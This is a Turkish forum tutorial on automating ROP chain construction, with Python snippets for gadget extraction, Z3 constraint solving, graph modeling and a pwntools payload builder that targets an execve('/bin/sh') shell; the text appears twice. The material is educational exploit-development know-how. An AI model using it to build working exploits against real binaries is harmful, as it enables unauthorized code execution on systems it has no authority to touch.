Conrado Sol
- 29 Nis 2026
- 59 Mesaj
Aktiflik
Seviye
Deneyim
Selamın aleyküm herkese iyi çalışmalar dilerim,
Return-Oriented Programming (ROP), modern binary exploitation süreçlerinin temel taşlarından biridir. NX (Non-Executable) korumasının yaygınlaşmasıyla birlikte, saldırganlar shellcode enjekte etmek yerine mevcut kod parçacıklarını (gadget) zincirleyerek hedef davranışı elde etmeye yönelmiştir.
Ancak manuel ROP zinciri oluşturmak zaman alıcı, hata yapmaya açık ve her binary için yeniden geliştirme gerektirir. Bu nedenle ROP zinciri otomasyonu, exploitation süreçlerini ölçeklenebilir ve yeniden kullanılabilir hale getirmek için kritik bir adımdır.
Not: Konu sonuna 1 adet YouTube videosu ve 1 adet PDF dökümanı eklenmiştir. Konumuz yapısı gereği karmaşık olduğundan parçalaya parçalaya anlatmaya çalıştım. Hatamız olursa aff ola ..
ROP zinciri oluşturma süreci aslında şu sorunun çözümüdür,
Örnek olarak,
rdi = "/bin/sh"
rsi = 0
rdx = 0
rax = 59
syscall
Bu problem, durum geçişleri (state transitions), kısıtlar (constraints), yan etkiler (side-effects) içeren bir constraint satisfaction problem (CSP) olarak modellenebilir.
Klasik araçlar (ROPgadget, rp++) sadece gadget listesi üretir. Ancak otomasyon için bu yeterli değildir.
Her gadget’ın semantiği çıkarılmalıdır:
pop rdi; ret
→ rdi = [rsp], rsp += 8
add rax, 1; ret
→ rax = rax + 1
Disassembly: Capstone Engine >> Parsing: Instruction-level analiz >> Çıktı: Semantik temsil (IR – Intermediate Representation)
Otomasyon için gadget’lar kategorize edilmelidir:
Data movement
pop, mov, xchg
Arithmetic
add, sub, xor
Control
call, jmp, ret
Syscall tetikleyici
Memory primitive
write-what-where
ROP problemi bir graph olarak modellenebilir:
Node: Register durumu
Edge: Gadget (state transition)
State A: rdi = ?, rax = ?
|
| (pop rdi)
v
State B: rdi = controlled
Buradaki amaç Başlangıç durumundan hedef duruma ulaşmak.
Bazı durumlarda (Belirli register kombinasyonları, Yan etkilerin dengelenmesi) doğrudan graph araması yeterli değildir.
Bu noktada SMT solver (örneğin Z3) devreye girer.
rdi == binsh_addr
rsi == 0
rdx == 0
rax == 59
Solver, hangi gadget kombinasyonu bu durumu sağlar sorusuna cevap verir.
Bunun avantajı ise otomatik çözüm üretimi ve karmaşık zincirlerde doğruluktur.
Gerçek dünyada gadget’lar “temiz” değildir:
pop rdi; pop rsi; ret
Bu gadget rdi’yi ayarlar ama rsi’yi de bozar
>Gadget’lara cost/penalty atanır
>Minimum yan etkili zincir seçilir
>Gerekirse düzeltici gadget eklenir
ROP zincirinde stack kontrolü kritik öneme sahiptir:
+ rsp kayması
+ alignment gereksinimleri (özellikle x64)
Yanlış hizalama, crash ve syscall başarısızlığını doğurur.
ASLR
PIE
Randomized libc
-Base address hesaplama
-Libc eşleştirme (libc database)
Pipeline
Leak > Base calc > Offset resolve > ROP chain rebuild
İyi bir ROP otomasyon sistemi:
Daha kısa zincir üretir
Daha stabil çalışır
Daha az yan etki içerir
Uzunluk maliyeti
Yan etki maliyeti
Stack etkisi
Toplam skor minimize edilir.
İleri seviye sistemlerde:
Binary sembolik olarak çalıştırılır
Crash noktası otomatik bulunur
Kontrol edilebilir input çıkarılır
Bu noktada angr gibi framework’ler kullanılabilir
Bu şekilde Exploit geliştirme yarı otomatik hale gelir.
Bir ROP otomasyon sistemi şu bileşenlerden oluşmalıdır:
[ Gadget Extractor ]
↓
[ Semantic Analyzer ]
↓
[ Gadget Database ]
↓
[ Constraint Solver ]
↓
[ Chain Builder (Graph Engine) ]
↓
[ Optimizer ]
↓
[ Runtime Adapter ]
Yazımıza örneklerimiz ile devam edelim bu şekilde konuyu pekiştirelim.
Önce binary’den gadget’ları çekelim ve semantik olarak etiketleyelim:
Her gadget’ın register üzerindeki etkisini modelleyelim:
Bir execve zinciri hedefi:
İlk versiyon: brute-force yerine greedy yaklaşım:
Daha ileri: register değerlerini constraint olarak çözelim:
Gadget’ları graph olarak modelleyelim:
Her gadget’a maliyet verelim:
Son aşama: gerçek exploit payload:
İskelet Yapısı
rop_framework/
│
├── core/
│ ├── gadget_extractor.py
│ ├── semantic_engine.py
│ ├── gadget_db.py
│
├── solver/
│ ├── constraint_solver.py
│ ├── chain_planner.py
│
├── analysis/
│ ├── binary_loader.py
│ ├── protections.py
│
├── utils/
│ ├── logger.py
│ ├── config.py
│
├── cli.py
└── requirements.txt
Return-Oriented Programming (ROP), modern binary exploitation süreçlerinin temel taşlarından biridir. NX (Non-Executable) korumasının yaygınlaşmasıyla birlikte, saldırganlar shellcode enjekte etmek yerine mevcut kod parçacıklarını (gadget) zincirleyerek hedef davranışı elde etmeye yönelmiştir.
Ancak manuel ROP zinciri oluşturmak zaman alıcı, hata yapmaya açık ve her binary için yeniden geliştirme gerektirir. Bu nedenle ROP zinciri otomasyonu, exploitation süreçlerini ölçeklenebilir ve yeniden kullanılabilir hale getirmek için kritik bir adımdır.
Not: Konu sonuna 1 adet YouTube videosu ve 1 adet PDF dökümanı eklenmiştir. Konumuz yapısı gereği karmaşık olduğundan parçalaya parçalaya anlatmaya çalıştım. Hatamız olursa aff ola ..
ROP zinciri oluşturma süreci aslında şu sorunun çözümüdür,
Verilen bir gadget kümesi ile belirli bir register/memory durumuna nasıl ulaşılır?
Örnek olarak,
rdi = "/bin/sh"
rsi = 0
rdx = 0
rax = 59
syscall
Bu problem, durum geçişleri (state transitions), kısıtlar (constraints), yan etkiler (side-effects) içeren bir constraint satisfaction problem (CSP) olarak modellenebilir.
Gadget Keşfi ve Semantik Ayrıştırma
Klasik araçlar (ROPgadget, rp++) sadece gadget listesi üretir. Ancak otomasyon için bu yeterli değildir.
Her gadget’ın semantiği çıkarılmalıdır:
pop rdi; ret
→ rdi = [rsp], rsp += 8
add rax, 1; ret
→ rax = rax + 1
Disassembly: Capstone Engine >> Parsing: Instruction-level analiz >> Çıktı: Semantik temsil (IR – Intermediate Representation)
Gadget’ların Sınıflandırılması
Otomasyon için gadget’lar kategorize edilmelidir:
Data movement
pop, mov, xchg
Arithmetic
add, sub, xor
Control
call, jmp, ret
Syscall tetikleyici
Memory primitive
write-what-where
ROP Zinciri = State Transition Graph
ROP problemi bir graph olarak modellenebilir:
Node: Register durumu
Edge: Gadget (state transition)
State A: rdi = ?, rax = ?
|
| (pop rdi)
v
State B: rdi = controlled
Buradaki amaç Başlangıç durumundan hedef duruma ulaşmak.
Constraint Solver Entegrasyonu
Bazı durumlarda (Belirli register kombinasyonları, Yan etkilerin dengelenmesi) doğrudan graph araması yeterli değildir.
Bu noktada SMT solver (örneğin Z3) devreye girer.
rdi == binsh_addr
rsi == 0
rdx == 0
rax == 59
Solver, hangi gadget kombinasyonu bu durumu sağlar sorusuna cevap verir.
Bunun avantajı ise otomatik çözüm üretimi ve karmaşık zincirlerde doğruluktur.
Yan Etkiler (Side-Effects) Problemi
Gerçek dünyada gadget’lar “temiz” değildir:
pop rdi; pop rsi; ret
Bu gadget rdi’yi ayarlar ama rsi’yi de bozar
Peki buna karşın ne yapmalı?
>Gadget’lara cost/penalty atanır
>Minimum yan etkili zincir seçilir
>Gerekirse düzeltici gadget eklenir
Stack Yönetimi ve Alignment
ROP zincirinde stack kontrolü kritik öneme sahiptir:
+ rsp kayması
+ alignment gereksinimleri (özellikle x64)
Yanlış hizalama, crash ve syscall başarısızlığını doğurur.
Otomasyon:
Her gadget için stack delta hesaplanmalı ve zincir sonunda alignment doğrulanmalıdır.Runtime Adaptasyonu (ASLR & PIE)
Gerçek exploit ortamında adresler sabit değildir:ASLR
PIE
Randomized libc
Gerekli bileşenler nelerdir? Sırasıyla,
-Leak parser-Base address hesaplama
-Libc eşleştirme (libc database)
Pipeline
Leak > Base calc > Offset resolve > ROP chain rebuild
Zincir Optimizasyonu
İyi bir ROP otomasyon sistemi:
Daha kısa zincir üretir
Daha stabil çalışır
Daha az yan etki içerir
Scoring sistemi:
Her gadget için:Uzunluk maliyeti
Yan etki maliyeti
Stack etkisi
Toplam skor minimize edilir.
Symbolic Execution ile Entegrasyon
İleri seviye sistemlerde:
Binary sembolik olarak çalıştırılır
Crash noktası otomatik bulunur
Kontrol edilebilir input çıkarılır
Bu noktada angr gibi framework’ler kullanılabilir
Bu şekilde Exploit geliştirme yarı otomatik hale gelir.
Bir ROP otomasyon sistemi şu bileşenlerden oluşmalıdır:
[ Gadget Extractor ]
↓
[ Semantic Analyzer ]
↓
[ Gadget Database ]
↓
[ Constraint Solver ]
↓
[ Chain Builder (Graph Engine) ]
↓
[ Optimizer ]
↓
[ Runtime Adapter ]
Yazımıza örneklerimiz ile devam edelim bu şekilde konuyu pekiştirelim.
Gadget Çekme ve Basit Ayrıştırma
Önce binary’den gadget’ları çekelim ve semantik olarak etiketleyelim:
Python:
from capstone import *
import subprocess
def extract_gadgets(binary_path):
result = subprocess.check_output(["ROPgadget", "--binary", binary_path])
lines = result.decode().splitlines()
gadgets = []
for line in lines:
if " : " in line:
addr, instr = line.split(" : ")
gadgets.append({
"addr": int(addr, 16),
"instr": instr.strip()
})
return gadgets
def classify_gadget(g):
instr = g["instr"]
if instr.startswith("pop rdi"):
return "POP_RDI"
elif instr.startswith("pop rsi"):
return "POP_RSI"
elif "syscall" in instr:
return "SYSCALL"
elif "mov" in instr:
return "MOV"
return "OTHER"
Semantik Model (Basit IR)
Her gadget’ın register üzerindeki etkisini modelleyelim:
Python:
def semantic_effect(g):
instr = g["instr"]
if instr.startswith("pop rdi"):
return {"rdi": "stack", "rsp_inc": 8}
elif instr.startswith("pop rsi"):
return {"rsi": "stack", "rsp_inc": 8}
elif "syscall" in instr:
return {"syscall": True}
return {}
Hedef Tanımı (Constraint Model)
Bir execve zinciri hedefi:
Python:
target = {
"rdi": "binsh",
"rsi": 0,
"rdx": 0,
"rax": 59
}
Basit Chain Builder (Heuristic)
İlk versiyon: brute-force yerine greedy yaklaşım:
Python:
def build_chain(gadgets, target):
chain = []
for reg in ["rdi", "rsi", "rdx", "rax"]:
for g in gadgets:
if classify_gadget(g) == f"POP_{reg.upper()}":
chain.append(g)
break
for g in gadgets:
if classify_gadget(g) == "SYSCALL":
chain.append(g)
break
return chain
Z3 ile Constraint Solver Entegrasyonu
Daha ileri: register değerlerini constraint olarak çözelim:
Python:
from z3 import *
def solve_registers():
rdi = BitVec('rdi', 64)
rsi = BitVec('rsi', 64)
rdx = BitVec('rdx', 64)
rax = BitVec('rax', 64)
s = Solver()
s.add(rdi == 0xdeadbeef) # örnek /bin/sh addr
s.add(rsi == 0)
s.add(rdx == 0)
s.add(rax == 59)
if s.check() == sat:
model = s.model()
return model
else:
return None
print(solve_registers())
Gadget Graph Modeli
Gadget’ları graph olarak modelleyelim:
Python:
import networkx as nx
def build_graph(gadgets):
G = nx.DiGraph()
for g in gadgets:
effect = semantic_effect(g)
G.add_node(g["addr"], effect=effect)
# naive: tüm gadget’lar birbirine bağlı
for g1 in gadgets:
for g2 in gadgets:
G.add_edge(g1["addr"], g2["addr"])
return G
Cost-Based Zincir Optimizasyonu
Her gadget’a maliyet verelim:
Python:
def gadget_cost(g):
instr = g["instr"]
cost = 1
if "pop" in instr:
cost += 1
if "mov" in instr:
cost += 2
if "syscall" in instr:
cost += 5
return cost
def chain_cost(chain):
return sum(gadget_cost(g) for g in chain)
Payload Üretimi
Son aşama: gerçek exploit payload:
Python:
from pwn import *
def build_payload(chain, values):
payload = b"A" * offset # overflow offset
for g in chain:
payload += p64(g["addr"])
if "pop rdi" in g["instr"]:
payload += p64(values["rdi"])
elif "pop rsi" in g["instr"]:
payload += p64(values["rsi"])
elif "pop rdx" in g["instr"]:
payload += p64(values["rdx"])
elif "pop rax" in g["instr"]:
payload += p64(values["rax"])
return payload
Runtime Adaptasyon (Leak >> Base >> ROP)
Python:
def compute_base(leak, known_offset):
return leak - known_offset
libc_base = compute_base(leaked_puts, puts_offset)
binsh = libc_base + binsh_offset
system = libc_base + system_offset
İskelet Yapısı
rop_framework/
│
├── core/
│ ├── gadget_extractor.py
│ ├── semantic_engine.py
│ ├── gadget_db.py
│
├── solver/
│ ├── constraint_solver.py
│ ├── chain_planner.py
│
├── analysis/
│ ├── binary_loader.py
│ ├── protections.py
│
├── utils/
│ ├── logger.py
│ ├── config.py
│
├── cli.py
└── requirements.txt
